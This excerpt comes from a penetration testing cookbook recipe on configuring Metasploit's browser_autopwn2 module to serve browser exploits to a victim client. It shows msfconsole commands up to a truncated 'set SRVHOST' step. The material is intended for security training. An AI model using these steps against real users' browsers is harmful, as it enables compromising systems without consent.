Kali Linux Web Penetration Testing Cookbook

Using Metasploit's browser_autpwn2 to attack a client

Metasploit Framework includes a huge collection of client-side exploits, many of them are meant to exploit known vulnerabilities in web browsers and there is a module that has the ability to detect the version of browser the client is using and picks the best exploit to trigger, this module is browser_autopwn or browser_autopwn2, in its newest version.

In this recipe, we will set up an attack with browser_autopwn2 and get it ready for a victim to come in.

How to do it...

1. Start msfconsole.
2. We will use version 2 of Browser Autopwn (BAP2):

   use auxiliary/server/browser_autopwn2
   

3. Let's take a look at what configurable options it has:

   show options
   

4. We will set our Kali server to receive connections:

   set SRVHOST ...